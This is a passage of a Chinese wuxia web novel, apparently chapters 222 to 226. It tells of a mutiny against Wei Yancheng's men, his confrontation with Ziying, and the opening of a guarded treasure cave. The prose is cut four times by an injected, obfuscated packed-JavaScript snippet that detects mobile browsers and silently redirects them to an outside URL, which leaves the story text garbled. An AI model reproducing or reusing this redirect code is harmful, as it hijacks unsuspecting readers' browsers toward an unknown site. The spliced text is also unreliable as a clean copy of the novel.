谭修明命人把渨好麻药的针筒分发下去,命令所有人原地休息,养精蓄锐,等待陆文渊的消息。 然而,一直到丑时过去,他们都没能见到任何人的影子。陆文渊也好,林夫人也好,甚至预期中会于夜里突袭太白山的大队人马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544925|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有出现。 阮云飞心中惴惴不安,难不成林夫人和陆文渊露了马脚,让魏彦成的手下有所察觉,中途改变了计划?若果真如此,陆文渊他…… ************************** 原定计划确实变了,却不是因为魏彦成察觉了队伍中的内应。 出发前,魏彦成便告知吴宏,将集合地点从离太白山只有五十里的郿县换到要更远一些的盩厔县*,并严令负责带队的魏家属下绝不可提前泄露出去。 这样做,一是为了防止有不怕死的江湖人提前告密,让文远骥有了防范。二也是考虑到郿县离太白山太近,天魄门本就据此而生,很难不注意到几百号人突然出没。 阮云飞等人如火如荼得学习暗器手法,预备着一击即中之时,各队人马已会齐在盩厔县。吴宏带着满满两车火药正等在那里。 进入盩厔县时,陆文渊还只当带头之人打算在此休息片刻,却不想见到了吴宏,以及早他们一日到此的另外几个门派。 林夫人带来的人均被引至一间大屋,当晚便在此歇宿。吴宏倒是没有苛待他们,虽然睡觉的条件一般,吃喝却十分丰盛。 吴宏手下不少,进出大屋都要盘查,饭前睡前还要点人,陆文渊不敢有任何异动,只在暗中同林夫人低语了几句。 林夫人这次带来的是自己和郝鹏祖的得力心腹,在芙蓉山庄和太湖水寨都是有身份头脸的人物,若非性命被人拿在手上,断不可能忍下首领被害、自己还要被人胁迫的恶气。 得到阮云飞的保证后,林夫人避开魏彦成的耳目向他们暗示过,她已找到解毒的门道,只是需要他们的配合。还保证,只需暂时受些委屈,要不了几日,就一定能替郝鹏祖还有他们自己讨回公道。 出于对林夫人的信任,众人都没有多问,只说听她的号令,一路上行动如常,也未曾让魏彦成的手下瞧出端倪。 第二日下午,所有门派到齐。吴宏让手下取出准备好的全部吃食,让这些有可能活不过今晚的炮灰们吃得饱饱的,然后才从后院库房中取出已提前分装改造好的火药包。 人员被随意打乱,十个人分为一队,免得同出一源的人马拧成一股绳私底下搞小动作。每队点出两人,将火药包绑在他们身上,再把衣服罩在上面掩人耳目。 从这里向西赶到横渠镇**再向南,走最近的路线在天黑以后抵达太白山北麓。继而化整为零,每五队为一组,分赴太白山脚下布置的各处岗哨,以烟火为号发动突袭。 每次一队在前,每一队中绑着火药的人负责冲锋,待火药引爆,破坏了岗哨处的机关之后其余人涌上将那处的守卫斩杀。然后继续上山,一步一步除掉文远骥布置在太白山四处的所有机关和防御。 陆文渊虬髯遮面,隐在众人之中,听着吴宏细致的说明,心头颤动不休,没了阮云飞和天魄门的援手,要阻住这场杀戮,唯有依靠自己同林夫人,还有她带来的这三十几个兄弟了。 223. 出手 四百余人在吴宏及其手下的监视下分批步出盩厔县,一到荒无人烟之处便被整合在一起,继续向西行。 如此走了约二十多里,人群中突然响起一阵哨声。三十余道黑影从不同位置窜出,直冲吴宏的手下而去。 行于两侧的魏家护卫接连倒下,队伍登时大乱。大部分江湖人不明所以茫然失措,也有少部分人出于本能和出列的太湖水匪斗在了一起。 吴宏乘马走在最前面,听到手下呼号,急忙调转马头。但陆文渊没有给他发号施令的机会,他原地暴起,只用了两个起落便飞至吴宏面前,手中大刀猛地一挥,便欲将其斩落马下。 吴宏应变不俗,腰上用劲,身子急往后仰。躲过一击的同时武器出鞘,就在马上和陆文渊拼起了刀法。 太湖水匪一击不中,逃过一条性命的魏家护卫不断驱动余下的江湖人出手。解药的威胁悬在头顶,一众江湖人只得听命。 攻守之势瞬间转换,三十几个太湖水匪被四百人围在中央,根本无法抵挡递过来的刀枪剑戟。 就在此时,本将拳头向着林夫人的邓钊忽然转身,锤向了他身后的护卫。 “流沙帮听令!”邓钊攀住那人头颅,踩在他背上冲着人群大喊,“把这些魏彦成的走狗挨个杀掉,一个不留!” 分散在不同地方的流沙帮帮众无人敢动,纷纷侧目瞧着高他人半个身子的帮主,心想他莫不是疯了,杀掉了魏彦成的人,解药从哪里来? 这一下迟疑便等于将邓钊置于火炉,响水帮多人持刀刺向邓钊,林夫人从拥挤的人群中跃出,一双短刀插中两人心窝,邓钊也出招自救。响水帮攻势稍缓,二人身上也多了不少伤口。 “听着!我有解药,杀了魏家人就有解药!” 双刀飞舞之中,林夫人出声大叫,邓钊也反应过来,照着他的话不断呼喊。 听到这句话的人虽然疑惑不已,手上动作却不由得变慢甚或停滞,正和陆文渊酣战的吴宏闻言亦是大惊。 “项二!”他趁着陆文渊变招的间隙大吼一声,项二登时明了,从人群中脱身,立刻跑开。 动手前,陆文渊最担心的就是有人去向魏彦成报讯,引来魏家势力对江湖人一网打尽固然令人心忧,更关要的是,万一魏彦成提前得知火药无用,天魄门的整个计策都有可能报废。 于是,他舍弃武器,不顾吴宏送出的刀锋,运起云龙掌,猛地拍在吴宏胸口。吴宏手中的刀已然扎进陆文渊右肩,此刻回避不及,硬生生受了他的掌力。 陆文渊继续发力,在吴宏能够反击之前又补了两掌。吴宏威顿不起,他将人踢下马去,脚在马背上一点,人已飞向了项二。 项二刚跑到一片较为空旷的高地,取出袖中烟花正要拔去引信。突然耳后生风,一回头,陆文渊的身躯便撞了过来。项二加快行动,打开盖子吹燃了引信。 陆文渊看得分明,把住肩头的刀柄将吴宏的刀抽了出来,咬牙使出全力,顺着身体下落的势头将项二劈做两段。 烟花被高高抛起,引信不断燃烧,眼见就要到底。陆文渊再度跃起,终于赶在引信燃尽前斩断了烟花。 火药粉末簌簌落下,于半空被谷中微风吹散。陆文渊身体急剧下落,重重撞在地上,昏厥之前,他聚起最后的气力,拿出长风镖局的示警烟花放了出去。 但愿……但愿阮云飞已带人寻到了附近。陆文渊闭上眼睛,再也没有了声息。 另一边,林夫人和邓钊的不断叫喊终于撬动了力量的天平。 虽然半信半疑,有不少人还是停下了动作,不在对着太湖水寨的人喊打喊杀。就算有人想动,也会被旁边的人拦下来。 吴宏和项二已死,魏家护卫和响水帮诸人都没了主心骨,虽然嘴上仍在催促江湖人进招,但声量已不如之前。 魏家护卫见越来越多的江湖人不听使唤,便也大叫着和林夫人及邓钊打擂台,左不过是二人所言皆为假话,解药只要他家主人才有,要想活命就赶快听话云云。 江湖人虽然袖手,魏宅的护卫战力未失,且深知此刻必须先结果了林夫人和邓钊,才能让这些人再次听命于自己,也才能向魏彦成交差。 于是,本就受伤的林夫人和邓钊顿时成为了这三十人集中攻击的目标。其他帮派的江湖人纷纷闪开,只有太湖水匪和几个流沙帮的人上前护持。 魏家护卫的功夫比这批江湖人高出不少,在人数均等的情况下极易占据上风。林夫人心急如焚,明白战局拖得越久越不利于己方。这批兄弟因为相信自己才这般拼命,若是让他们折在这里,回去以后如何面对他们的家小。即便自知不敌,也还是奋力舞起两柄短刀,能杀一个是一个。 战局胶着,不断有人倒下。邓钊杀到中途,身上多处挂彩,已然开始后怕。他一面挥刀,一面冲不远处的林夫人怒吼:“你真有解药??!” 林夫人躲过致命一击,这才趁隙叫道:“若没有解药,我干嘛这时候反叛!!” 邓钊仍不放心,想再确认,杀人的招式却又到了跟前,只能先保住性命再说。可对方观察邓钊良久,已经算好了他的下一招,便直奔他的漏洞而来。眼看着自己马上就要身首异处,邓钊心头大骇,本能地闭上了眼睛。 然而下一刻,预期的剧痛并未出现,四周响起惊呼,紧接着是人扑通扑通倒地的声音。 邓钊诧异不已,忙睁开眼睛,目之所及一道熟悉的面孔出现。他手持一个不大不小的铁筒,从中射出数道银针,全都精确地落在了围攻自己和林夫人的魏家护卫身上。 魏家护卫一批批倒地不起,太湖水匪和邓钊的危局终于消失。 这个时候,范明德才从地上爬起来,赶到林夫人身边急问:“你真有解药?”又瞧着陌生的瑾瑜,问他:“你是谁?你是来救我们的?” 于是,数百个人围拢成一个圆圈,里三层外三层,高矮不易、服色各一,却都把目光投注在了当中的林夫人和瑾瑜身上。 瑾瑜先扶起适才为了躲避刀剑极其狼狈地趴在地上的林夫人,温言道:“阮掌门已经带着人赶来了,夫人且放心。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558333|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林夫人认得他,想起自己一年前还在设法追捕他便有些红了脸。几处伤口淋漓可怖,她强忍着痛拍拍身上沾染的灰尘,又整了整衣襟,才向朝着自己围拢过来的几个帮派首领道: “魏彦成的对头文远骥文门主与王三山老前辈交好,已托他制好了解药,只要我们不与天魄门为敌,他便会把解药交给我们。” “千真万确?”邓钊捂着胸口,一着急,伤口涌出的血液更多。流沙帮中刚刚怯战的部下即刻灰溜溜赶过来为他包扎伤口,却被邓钊一把掀开,解药才是当务之急。 “林夫人所言都是真的。你们服下的毒药也是魏彦成的父亲逼着王老前辈研制出来的,一份解药而已,根本难不倒他老人家。并且,他的解药能彻底解了你们毒,并不会让你们受一辈子的要挟和苦楚。” 他一边说,林夫人一边点头应和,存活的太湖水匪众人终于明白林夫人的笃定从何而来,也纷纷呲牙大笑。他们这一活跃,其余半信半疑的人也免不了松了嘴角。 林夫人知他们未必全信,便又道:“诸位可留在此处。我们今日服用了新的解药,可以支持三天,若三天之内咱们拿不到解药,大可以冲上太白山和文门主对质。” 这番话才算是真正说动了几个帮派的领头人,他们有的招揽起自己的手下,有的招呼手下取出金创药送过来,帮林夫人和受伤的太湖水匪裹伤。绑了火药的人也纷纷掀开衣服取下包裹,将其丢得远远的。 瑾瑜则飞快赶到高地去看陆文渊。陆文渊全身上下只有一处外伤,虽双目紧闭,脉搏和呼吸仍在。他自包袱中取出临行前紫璇塞给他的护心丹,喂了他一颗,又脱下衣服为他止血。 片刻后,陆文渊悠悠醒转,见面前的是他,全身一松,嘴角也轻轻弯起。 谭修明和阮云飞恰于此时赶到。他们二话不说,立刻发动针筒,将三百来号江湖人一一放倒,只留下了围在林夫人身边的太湖水匪,还有邓钊和少数几个流沙帮的人。 邓钊竖起眉毛,手中刀再次横于胸前。 林夫人也皱着眉头,向朝自己而来的阮云飞发问:“你这是做什么?!” 阮云飞连忙解释:“夫人放心,这些针上沾的只是麻药,最多让他们睡几个时辰,并不会害了他们的性命。” 她的话林夫人倒不怎么怀疑,只是瞅着满地毫无声息的江湖人,有些担心,毕竟自己刚刚说服了他们,要是他们起来后指责自己趁其不备故意引人偷袭可怎么好。 “我已经用解药说动了他们,吴宏和他的手下也都死了,他们应当不会反水。” 阮云飞点了点头,但还是说道:“这里有数百号人,但凡走脱一个都会给你我带来无穷麻烦,不若这样,反而更加保险。” 她说的不是没有道理,林夫人方才释怀:“也只有如此了。”随即又好奇道,“那你干嘛还留下这么些人?” 阮云飞清扬嘴角:“当然是别有深意。” 她看向邓钊:“邓帮主受的伤重么?有个忙还需劳动两位及诸位兄弟们。” 224. 却步 太湖水匪与魏家护卫激战之时,魏彦成正带着大批手下和众多高手经郿县往太白山进发。在他的身后,则是伏牛山上与他约定,以宝藏为筹码同向文远骥逼宫的天魄门旧部势力。 他不时回头,望着浩浩汤汤的队伍,很有些志得意满的架势。想到再过一夜,天魄门的门主和宝藏都会成为自己的囊中之物,他就难掩兴奋之色。 对,还有紫瑛!只要把她带回金陵,再加倍对她好,她一定能认识到自己才是真爱她的人。无论如何,他都比那个忽视她、根本不在意他的爹要好,紫瑛不可能一直冥顽不灵。 唯一让他有些不快的是,吴宏怎么还不来报讯。太阳西沉,他负责引领的大批江湖人应该已经快到山下了吧。 魏彦成眉间升起一丝隐忧,但考虑倒他不能在谢立梁等人面前露怯,便马上恢复到如常神色,叫来黄昆吩咐了几句。 黄昆领命,即刻带了一队人马离开,按照魏彦成的指示赶往横渠镇方向催促吴宏及他押送的人马。 继续前进,行至离太白山道不过五里时,前方传来数下爆炸之声。马儿集体却步,旧部们也惊骇不已。 原来吴宏早就到了!魏彦成紧了许久的心弦一松,指着远处山间升起的一股股浓烟大声道:“文远骥的守御在我的火药面前不值一提。” 他回头挨个瞟了谢立梁、谢立栋、葛宏丰、占志高四人一眼,面上满是自鸣得意的神色:“诸位叔伯,咱们这就快马扬鞭,让天魄门见一见它的新主人吧!” 魏彦成大笑几声,全然不在意他们作何表情、有何回应,已经催动马儿飞奔了出去。 山道之上及两边树丛中,随处可见爆炸的痕迹和斑斑血迹,再往远处依稀可见散落其间的断肢残臂,均是血肉模糊,令人不忍直视。 走在后面的谢氏兄弟无声对视,面上皆是愁云惨雾。葛宏丰汗毛倒竖,愣是咽下了已到嘴边的惊呼。占志高吓出了一身冷汗,张久辉更是吓得腿软,需要部下搀扶着才不至于倒地。 五人不约而同地望着上方魏彦成负手迈步,仿若欣赏自家庭院的背影,心中再难平静。来此之前,魏彦成可从没提过火药之事,众人居然也都忘记了魏菘泽背水一战时最后手握的武器。 即便他们听从魏彦成的吩咐,在门主之争中为他站台,难保他不在事成之后翻脸。彼时,他们困于山上,魏彦成以火药相逼,服下噬魂撒、生生世世做他魏家奴仆的命运可就再也逃脱不掉了。 然而此时骑虎难下,谢立梁等人又舍不下即将到手的宝藏,便只好揣着侥幸硬着头皮继续向上。 越往上走,山脚处那般可怖的景象就越少见,足见文远骥把主要的防御力量都放在了山的下半部,反倒让山上无所凭恃。魏彦成带着人长驱直入,比想象中更加顺利地来到了牌坊后的石阶。 石阶之上一片刀光剑影,上百号人齐聚在山前空地上,你来我往、争斗不休。 魏彦成没有急于上前,定睛瞧了片刻,在混乱的战阵中认出了林夫人与邓钊,除太湖水匪和流沙帮之外,还有五六个分别来自响水、虹漕、长业帮的帮众及白河寨的草莽汉子。吴宏与项二的尸身弃置两旁,显然是因为冲在最前面,已然丧命。 天魄门武力占优,但己方人数三倍于它,这都还没算上自己身后的旧部势力。战局持续地越久,越对自己有利。 但是,他要的是摧枯拉朽的胜利,他必须看到文远骥被踩在脚下,痛哭流涕地向他告饶,将门主之位和藏宝图双手捧给他。魏菘泽没做成的事,他不但要完成,还必须轰轰烈烈地达成目的,让父亲再也不能小瞧他。 因此,他命令谢立梁等人将自己带来的人尽数派出,并嘱咐道,务必留下文远骥和文紫璇的性命。若遇到紫瑛,则马上绑到他面前来。至于他自己带来的高手和护卫,暂且按兵不动。 葛宏丰不解:“凭什么只让我们的人去送命?” 魏彦成持扇蔑笑:“葛掌门说笑了。文远骥此刻已是笼中鸟、瓮中鳖,饶是他功夫再高也不可能逃得出这太白山。让诸位叔伯上去,不过是小侄特意留给你们表明立场的机会。要是诸位不想要就算了。” 话音未落,他带来的高手及诸多护卫已然亮出兵刃,将旧部们围在当中。 谢立梁飞快扯住想要发火的葛宏丰:“莫要鲁莽!” 紧接着,他又用沉稳有数的目光扫过占志高、张久辉,冲着他们点了点头,才对魏彦成道:“我们既然愿意认你为主,这点投名状还是该缴纳的。” 几个旧部首领中,谢立梁是公认的脑袋最为灵光之人,诸人虽不清楚他到底作何打算,却在他发话之后不再言语,抄起武器乖乖拾级而上。 魏彦成轻摇折扇,正好整以暇地感受着山间清风与石阶之上传来的阵阵喊杀之声,眼前突然现出一抹亮色,他毫不犹豫的追上前去,果然在下面不远抓住了企图逃下山的紫瑛。 这半个月来,魏彦成四处奔波、旦夕筹谋,丝毫不知疲倦。可每当夜深人静,偌大的空间唯余自己时,巨大的空虚和孤寂就会像黑影一样笼罩过来,压得他喘不过气。 他试了许多方法,甚至找过几个貌美如花的女人,到了最后却不得不承认,能抚平他心中创伤的只有紫瑛。对她的渴望与日俱增,这也是他如此心急要尽早发动攻势的原因之一。 可真的见了面,他却不知道该说些什么,又该做些什么。 紫瑛瞪着他怔怔不语,刚刚发现她时涌上来的无边喜悦也很快被心虚和忐忑占据。 “你怎么跑出来了?”嗫喏半响,冲到嘴边的居然是这样一句话,更令杜彦成无法满意自己的表现。 “天魄门就要被你攻陷了,我还不跑,等着死在你手上吗?!” “我怎么舍得杀你!”魏彦成的语调中含着委屈,她为何不懂他。 “那你还抓着我干什么!快放开我!” “不成!我不许你离开我!” 紫璇的横眉冷对和不住挣扎刺痛了他的心,他用力将紫瑛往自己怀中一带,两只手紧紧箍住她的身体,让她无法乱动。 久违的温存如久旱甘霖一般,魏彦成只觉得身心舒畅,脑海中纷扰的谋划与后招都被他暂时抛诸脑后。他情不自禁地叹息着:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572509|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我离不开你,求你……求你不要扔下我一个人。” 紫瑛停止了挣扎,仍由自己被他抱着,许久才发出声音:“你真这么爱我?” “当然!”魏彦成忙摆正紫瑛的脸,凝望着她,语气真诚而急躁:“我对你的心从来都不假,说要娶你、呵护你一辈子的承诺也都是认真的。天下女子再多,都不及一个你。我需要你,我不能没有你,你回来好不好。” 紫瑛从未见过如此卑微祈求的魏彦成,心中感伤。她闭上眼睛,等心中热潮过去,才睁眼、开口:“好。” 魏彦成欣喜若狂,张开臂膀圈主紫瑛,恨不能把她揉进自己的身体里,嘴上还不住地重复着:“太好了……太好了……” 但这样的欢喜很快被浇灭,因为紫瑛下一句说的是:“那就叫你的手下赶快收手,只要你承诺日后再也不对付天魄门,我就跟你走。” 魏彦成推开紫瑛,满脸笑意换成了难以置信。 “你不愿意?”紫瑛冷笑一声,对他怀有的那一丁点指望尽数消失,“我就知道,无论你说得有多好听,我总归是比不上你的野心还有欲望的。你所爱的,唯有你自己罢了。” “为什么要比?我爱你,也渴望成为天魄门乃至整个武林的主人,这二者不仅毫无矛盾,甚至相得益彰。你想一想,有这样一个才干卓绝、睥睨天下的夫君,女人堆里你也是被人仰望的哪一个,这样不好吗?” 他的辩解让紫瑛只有无语:“你把我当成了什么?你的附属品?还是你养的猫狗?我的尊严与价值难道只能得自于你?你到底有没有真正把我放在心上?!真正考虑过我的感受?!” 紫瑛挣脱他的手,指着头顶:“如今山上岌岌可危的是我的父亲、妹妹、家人、朋友!难道我能眼看着他们死于非命还仿佛无事一般和你耳鬓厮磨吗?我就没有心吗?” “没了他们还有我,我可以……” “没有人可以替代他们!”紫瑛怒吼着打断他,因用了大半力气,不得不喘息几下才沉下声音继续,“你还是不明白,你根本不懂我想要的是什么。在你眼里,所有人都可以被利用、被估价乃至被替换,和一个物品没什么两样。我不一样,于我而言,他们是活生生的人,他们在,我活着就有意义。你对我再好,就算是把金山银山搬到我面前,也不能越过他们。” 紫瑛突然的平静让魏彦成莫名心慌,这种语气、这副神情,无一不在提醒他,她不爱他了,她厌恶他。刚才那番愿意跟他走的话只是在骗他! 他再度擒住紫瑛的胳膊,大叫着:“不准你离开我!我马上就成功了,你跑不掉的。” 紫瑛摇了摇头,神色只有厌倦:“就算你抓了我又能怎样?你能得到我的人,却永远不可能得到我的心。我的心是属于我自己的。” 她越是如此,魏彦成就越是心生暗鬼。他想不通,明明那么温顺乖巧,一心只看着自己的紫瑛怎么时隔一个月就变成了这副样子。唯一的可能是…… “你喜欢上别人了?!”魏彦成用力扯了她一下,犀利的目光似冷箭一般射向紫瑛,“是谁!?是谁敢抢我的女人!” 225. 代价 “好疼!你放开我!”紫瑛拼命挣扎,魏彦成的手却越箍越紧。 “你是不是爱上别人了,才这样对我?!” 魏彦成已经变得不可理喻,紫瑛一心只想挣脱,根本不理会他的质问,只顾着掰开他的手指。 可她的沉默却被魏彦成当成了默认,他近乎疯狂地掐住紫瑛的脖子,低吼着:“你忘了?!你已经是我的人了,谁还会要你!” 喉咙和手腕均被扼住,紫瑛憋得满面通红,出于求生本能,她伸脚乱踢,碰到了魏彦成的膝盖,终于让他找回了些许理智。 他松开了上面那只手,恶狠狠地盯着紫瑛。 咳嗽数声后,紫瑛才喘匀了气,红着脸斥道: “其一,我喜欢谁不喜欢谁,从你欺骗我利用我开始,就已经和你无关了。其二,我不过是和你睡了一觉,凭什么就成了你的人!我最后再说一遍,我的心也好人也好,只属于我自己,不需要任何人来要,也没有人能够夺走!” 魏彦成怒火中烧,下意识便要抬掌击落。千钧一发之际,破空之声从头顶传来,魏彦成即刻扯住紫瑛跃向一边。 暗器尚未落地,几枚银针从同一方向袭来,魏彦成将紫瑛藏于身后,展开铁扇上下翻飞,银针被迫改变方向插入地下。 紫瑛自后方用力击打他的手腕。他下意识回身,俄顷又有暗器袭到,魏彦成只得返身再战。 山道两侧均为无处落脚的深渊,唯有高耸入云的松柏才有可能藏人,但那也必须是轻功极高之人,否则一旦陷落便是万劫不复的谷底。 魏彦成故意左闪右避,几轮之后,就已掌握暗器射来的方位。他伸指点中紫瑛穴道,继而跃起,去追捕暗器的来源。 然而那人身法快得超乎想象,魏彦成只觉得眼前一花,树影摇晃,哪儿还有半个人影。再一转身,就连紫瑛也不见了。 至此,魏彦成终于觉出了一丝异样。为何紫瑛会单独出现?为了引开他!引开他又是为了什么?! 来不及继续思考,他立刻沿着山道向上,但是众高手和护卫还好端端得等在牌坊下面,并无丝毫不妥。 可越是如此越令人不安,他加快脚步,疾速跃上石阶,眼前景象着实让他大吃了一惊: 广场上空无一人,无论是天魄门的手下还是那些为自己卖命的江湖人,抑或是被自己驱赶至此对付文远骥的旧部势力,都已不在此处。 **************************** 时间倒回到之前。 谢立梁等人带着自己的手下攀上石阶,加入战团。天魄门仅有的二十来个人且战且退,很快被逼入了政事堂之中。 谢立梁心思一转,吩咐政事堂外的所有人停手。谢家人率先领命退后,江湖人见状也止住了动作。 张久辉、葛宏丰和占志高也马上招呼手下,然后一起聚在谢立梁身边,问道:“谢老弟,你可是想到了什么计谋?” 谢立梁点了点头:“魏彦成野心不小,与他合作无异于与虎谋皮。既然他将我们放了上来,那咱们就利用这个机会好好为自己谋划一番。” 他又特地对着张久辉道:“张老前辈,要是这一局咱们胜了,您与令郎所中的毒也必然可解。” 张久辉闻言感激不已,忙拱手道:“若真如你所说,我伏牛山以后都任凭谢家差遣。” 谢立梁笑着摆摆手:“张老前辈何出此言,咱们同气连枝,自当相互帮衬。诸位老哥哥,一会听我言语,各家的手下分出一半人守住政事堂,任何人不得进出;另一半人随我入内。” 他又指挥谢立栋:“当心魏彦成的人上来。一有动静,马上进来报我。” 四人一起跨入政事堂。大门刚一关闭,谢立梁便急不可耐的上前,向着满脸戒备的文远骥道:“我们的人已将政事堂团团围住,你们已经没有退路了。” “你待怎样?” “魏彦成准备杀了你取而代之,届时天魄门和宝藏便都要易主。” “那你呢?这就怕了他,准备对他俯首称臣?” 文远骥果然是文远骥,一下子就发觉了自己的心思,谢立梁不禁露出笑容:“门主不必激将,魏彦成不在这里,我们大可以好好商量,各取所需。” “你想要什么?宝藏?” “不错,只要你交出圣女和藏宝图,我们便帮你保住门主之位,如何?” 文远骥的迟疑只持续了很短一段时间:“即便有了这两样,你们也不可能现在就找到宝藏。宝藏一日没有着落,你们仍有可能归入魏家的阵营和我作对,不是吗?” 文远骥十分精明,一下子就发现了谢立梁谋划中的破绽,占志高等人不免焦急起来。 谢立梁觑着文远骥的神色,试探道:“那你想怎么样?” “反攻魏彦成,让他永远都不可能再威胁到天魄门和太白山。” “如你所说,要是我们先替你办了这件事,最后还是拿不到宝藏又怎么说?咱们两方,总有一方要担着风险。只是我等之于宝藏,仍可徐徐图之,而你的门主之位已然危如累卵,根本等不起。” 谢立梁的话直插要害,此时此地确实是天魄门的情况更加紧迫一些。 紫璇跃众而出:“爹,给他们吧,太白山和天魄门都经不起折腾。” 文远骥重重点了一下头,神色带上了些微哀戚:“只要你们答应我事成之后对付魏彦成,我现在就可以带你们去找宝藏。” 旧部们目露精光,第一反应是不敢相信文远骥已经破解了藏宝图。 “你知道宝藏在哪?”仍是谢立梁先问。 文远骥再次点头:“师娘那里藏着破解藏宝图的图谱,两日前我们刚刚找出了宝藏的位置。” 搬出许淑平,旧部们自然就信了三分。 “宝藏藏于何处?” “从拔仙台往西,经跑马梁至武功山,有一处山洞,外面杂草丛生,布满沙石。但若仔细看,能够发现其中有人为填埋抹平的痕迹。” “你们已经去看过了?”谢立梁立即怀疑宝藏已经被他提前启出。 “只是找出了藏宝的地点,还没有进去。”文远骥指着他身边的紫璇,“要进洞就得伤害我女儿的性命,我不忍。” 谢立梁这才松了口气:“事到如今,忍不了也得忍。毕竟天魄门百年基业不能毁在你的手上。” 文远骥默然不语,谢立梁继续道:“那不如就依门主所说,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587458|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们先拿到宝藏,再助你夺回天魄门。” 文远骥无力再做挣扎,答应了。谢立梁又提了一句解药的事,文远骥当即让江珺翊取出一个小瓶。 “这里面有五丸,若还不够,可以等太白山安定了,再请王老前辈重新炼制。” 谢立梁掂了掂药瓶,相信文远骥应当不会作假,将此瓶扔给了眼巴巴望着自己的张久辉。 张久辉马上打开瓶塞服下一丸。虽然此刻离毒药发作还有一天,服下真解药也不会有什么特别的感觉,但他仍然顿感身轻如燕。 随后,众人出政事堂,在文远骥的带领下穿过赤霞山庄,直奔武功山。 天魄门确实在两天前就踩踏好了洞窟的位置,为的就是尽早让旧部们得以窥见宝藏的真相。 行至藏宝洞外,紫璇和江珺翊同时出列。江珺翊握着剑,眸光轻闪,似乎对接下来发生的事很有些担心。 紫璇神色毫无波动,似是已经接受了自己的命运。 文远骥看了一眼紫璇,咬着牙根让出了洞口所在。紫璇与江珺翊一前一后,站在洞口。洞口的杂草已被拔去大半,紫璇轻而易举地摸到了填充在洞口缝隙中的沙石。 她回过过头来,先对目不转睛看着自己的旧部众人道:“据传洞中有大量毒物镇守,需圣女之血予以压制。未免毒物溢出伤着各位,还请让远些吧。 旧部们马上依言退后,在洞口外围城了一个大圈。 “师兄,我一打开洞门,你立刻动手。”紫璇又看向江珺翊。 江珺翊眉心深锁,却没有抗拒她的指令,右手抽出佩剑举了起来。 “珺翊!”文远骥喊了一声,嘱咐道,“注意准头。” “师父放心,徒儿省得。” 紫璇催动内力,运劲于掌间,对着洞口推出一掌。 沙石扑扑跌落,紫璇不断出掌,洞口大小碎石露出本来面目,刚开始是小的石块一个两个滚落,继而越来越多的石块同时迸裂。 灰石于半空交错之时,后面正伸长脖子仰望的众人就已然看到了一个黑漆漆的洞口。石块不断坍塌下坠,最后露出一个半人高的大洞。 “蝎子!” “蛇!” 人群中有人惊叫出声。 “师兄!”紫璇也喊了一声。 江珺翊抿住嘴唇,绕到紫璇身前,继而接力俯冲,同时手腕带动剑身抖动不已。 借着太阳初升时的熹微光线,江珺翊的剑闪出点点光斑,灿烂耀目,然而下一瞬千百道血流遮蔽住视线,四散飞溅向洞内,就连洞口的边缘都染上了斑斑血迹。 紫璇颓然倒地,身上衣衫从头到脚全被染成红色,偶有小汩血柱向外冒出,却也已经是强弩之末,很快她身上便只剩下了微微渗出的血珠。 文远骥跨步上前,蹲下身喂她吃下护心丹。看着药丸滑入她口中,他才发现自己已被血染红的手还在发颤。 围观众人虽然知道会发生什么,但是这一幕活生生出现在自己眼前之时仍觉得惨然可怖,哪怕他们都是杀人如麻的江湖高手。 传说果然没错,神锋无影的确是千古罕有的杀招,但凭能震慑人心一点,就足以成为天魄门嫡传剑法中最为凌厉高明的剑招。 226. 伏击 恻隐之心转瞬即逝,在确认了洞口的毒蛇毒蝎等一众毒物全都没了生气之后,顾不上还抱着女儿的文远骥和持剑呆立的江珺翊,旧部们即刻蜂拥进洞。 洞中除了石头和沙土之外空无一物,等到众人继续往里走并逐渐适应洞中的黑暗之后,一副靠墙而坐的尸骨映入眼帘。 所有人面面相觑,宝藏呢?说好的金银细软和神功秘籍呢? 谢立梁不信邪,命人点燃火折子,到洞中各处细细搜寻。然而,大家找遍找个洞内,都没有发现任何可以隐藏金银或是籍册的地方。 直到最后,西侧墙壁上斑驳的痕迹才引起了众人的注意。 